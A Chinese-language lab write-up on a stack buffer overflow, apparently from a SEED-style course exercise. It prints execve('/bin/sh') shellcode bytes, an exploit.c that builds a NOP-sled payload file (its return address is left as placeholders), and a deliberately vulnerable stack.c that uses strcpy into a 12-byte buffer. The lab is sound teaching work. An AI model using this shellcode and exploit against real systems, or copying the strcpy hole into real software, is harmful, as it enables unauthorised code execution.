缓冲区溢出-shellcode分析

实验楼项目
shellcode结果就是调用出一个shell
这里的过程是先用exploit生成一个恶意文件，其中有溢出代码（汇编形式）
该文件内容:
12字节空 2字节文件装入内存的地址码，72字节空，然后为shellcode代码和空。
当stack的bug程序运行时，return的地址被覆盖为shellcode的地址，获取权限。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

//生成汇编码
gcc -o shellcode -ggdb -static shellcode.c
gdb shellcode
disassemble main

//结果
"\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

生成恶意文件程序exploit

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer+100,shellcode);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

有bug的程序stack.c

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

/* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}